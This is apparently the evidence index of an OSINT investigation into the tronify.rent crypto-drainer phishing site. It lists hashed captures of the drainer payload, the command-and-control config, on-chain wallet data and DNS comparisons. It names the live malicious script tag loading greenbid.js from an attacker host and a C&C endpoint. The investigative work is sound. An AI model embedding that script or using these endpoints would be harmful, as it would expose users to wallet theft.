🗂️ Evidence Locker
Every non-obvious claim in the six reports traces back to one of the files below. Nothing here was rewritten or summarized before hashing — each artifact is exactly what the server returned, with a SHA-256 checksum recorded at collection time so you can verify it hasn't changed since.
⚠️ Handling note: site/tronify.rent_index.html and the site_legit/ HTML files are raw captures of live web pages. tronify.rent's capture contains a real <script src="https://lending.fhogu.pw/greenbid.js"> tag — opening it directly in a browser will fetch and execute the live drainer payload in that tab. The links below for HTML files force a download instead of rendering, specifically to prevent that. If you want to inspect the markup, open the downloaded file in a text editor, not a browser tab — or use "View Page Source" after disabling JavaScript.
Collection method: plain
curl GET requests with a standard browser User-Agent, plus unauthenticated public blockchain API calls (TronGrid, TronScan). No wallet was ever connected to tronify.rent and no transaction was ever signed or broadcast — this is passive OSINT only. Full methodology in
README.md.
🧬 The Drainer Payload Malware sample
The actual greenbid.js file served by the attacker's C&C at fetch time. This is the file analyzed in Code Analysis.
payload/greenbid.js
150,274 bytes · text/javascript · served via Cloudflare
sha256: 0f6d6447...bf4416
payload/greenbid.js.response-headers.txt
HTTP response headers — Last-Modified: 2026-08-30, ETag hex suffix matches content-length
734 bytes
📡 Live C&C Configuration Rotates — dated snapshot
The response from the C&C's unauthenticated /tron/config endpoint — the source of the real attacker addresses used throughout this report. The attacker can change these values at any time; re-fetch to check current state.
cnc/tron_config.json
tronSpender, tronSweepAddress, tronSweepMinTrx, tronExchangeContract
sha256: 68370f8b...4010
cnc/tron_config.response-headers.txt
Fetch timestamp: 2026-09-20 04:30:40 GMT
690 bytes
🌐 tronify.rent Homepage Contains live malicious script tag
Raw capture of the phishing frontend, including the company registration text (EIN 87-2945163, Orlando FL address) and the injected drainer script tag. See the handling warning above before opening.
site/tronify.rent_index.html
34,168 bytes · fronted by DDoS-Guard · last modified 2026-09-14
sha256: 871e721f...3b5b1
site/tronify.rent_index.response-headers.txt
server: ddos-guard · content-security-policy present
699 bytes
⛓️ On-Chain Verification Confirmed real theft
TronGrid API responses for the three addresses from the live C&C config, plus the sweep address's recent TRC-20 transfer history — the primary evidence that this is active, not just capable, exploitation.
onchain/account_tronSpender_TV6n8c...Ys5rv.json
Created 2026-07-23 · holds 14,635.00 USDT + 875.44 TRX · last active 2026-09-19
sha256: 51a32eec...9219d
onchain/account_tronSweepAddress_TLv3iS...g7tpJ.json
Created 2026-07-23 (39s after spender) · holds 32,288.30 USDT + 3,213.53 TRX
sha256: 12273499...2087b
onchain/account_tronExchangeContract_TDE7vf...DYPux.json
Deployed contract (type: "Contract"), on-chain name decodes to "TronEnergy"
sha256: 4129b40a...64154
onchain/trc20_transfers_tronSweepAddress_page1.json
Most recent 30 USDT transfers · ~25 distinct senders, 2026-08-27 to 2026-09-19 · two consolidation transfers out (24,000 & 6,000 USDT)
sha256: c15e8e0b...73c8b
This is a single page of the most recent 30 transfers (not the full history) — see the fact-check log for what remains untraced beyond this page.
🔎 Brand & DNS Comparison Brand-squat finding
Live DNS resolution for tronify.rent, the payload host, and every Tronify-branded domain we could find — the basis for the "this is brand-squatting on a real service, not a typo-squat" finding in the IoCs report.
dns/resolution_snapshot.txt
tronify.rent, lending.fhogu.pw, tronify.app/.llc/.pro/.io/.com, tronified.com
255 bytes
site_legit/tronify.io.html
The one Tronify-branded domain found genuinely live and serving a product (og:url points to tronify.ai)
11,321 bytes
site_legit/tronify.pro.headers.txt
302 redirect to google.com — confirms this domain is dead/abandoned, not a live competitor
815 bytes
site_legit/tronify.app.headers.txt, tronify.llc.headers.txt, tronified.com.headers.txt
Empty (0 bytes) — curl could not resolve these hosts at all on 2026-09-20
0 bytes each
🔐 Checksums
SHA-256 for every hashed artifact above, generated at collection time. If you re-download any of these from their live source and the hash differs, the attacker has changed something — that's expected for the C&C config and payload over time, but worth noting the date if you're citing this report.
0f6d64472d6369a098f403db117b1285e79b0fdac79caaa639fc0e50e5bf4416 payload/greenbid.js
871e721feaf25ffe062d114b62338de54a551e406d0fff36c79ccee52413b5b1 site/tronify.rent_index.html
68370f8b1aea516a8812ea8086a65b8883b0d63faeb6417b6c2f80a623e4d010 cnc/tron_config.json
51a32eec1367085c8d25291013f734fad460dc373240096cb07e90b45849219d onchain/account_tronSpender_TV6n8cCLmX5mRCMMNvcE1K1i87Yo9Ys5rv.json
122734998dd37701079998dcc861b1ce4fc5fcc1edc5210f9e1135741632087b onchain/account_tronSweepAddress_TLv3iSnZxWghEmadLDzuAK2p5GkAwg7tpJ.json
4129b40a6279889e60585178002fc56398b2100171c318dac0b3d894fc064154 onchain/account_tronExchangeContract_TDE7vfjJuYqEzzKw6hfdSB3dfLQyXDYPux.json
c15e8e0bd915a6f0be039dc90ffa040e6ad4523e2c6d2ad2e2117223c7673c8b onchain/trc20_transfers_tronSweepAddress_page1.json
View raw SHA256SUMS.txt View collection README
🧾 Chain of Custody
- All fetches performed 2026-09-20 via plain
curl HTTP GET / public API calls — no browser automation, no wallet interaction.
- Files copied verbatim into this folder immediately after collection; SHA-256 computed at copy time.
- No file below has been edited after collection — corrections and interpretation live in the six reports, not in these artifacts.
- Anyone can independently re-run the same requests (see README.md for exact endpoints) to check whether attacker-controlled values have since changed.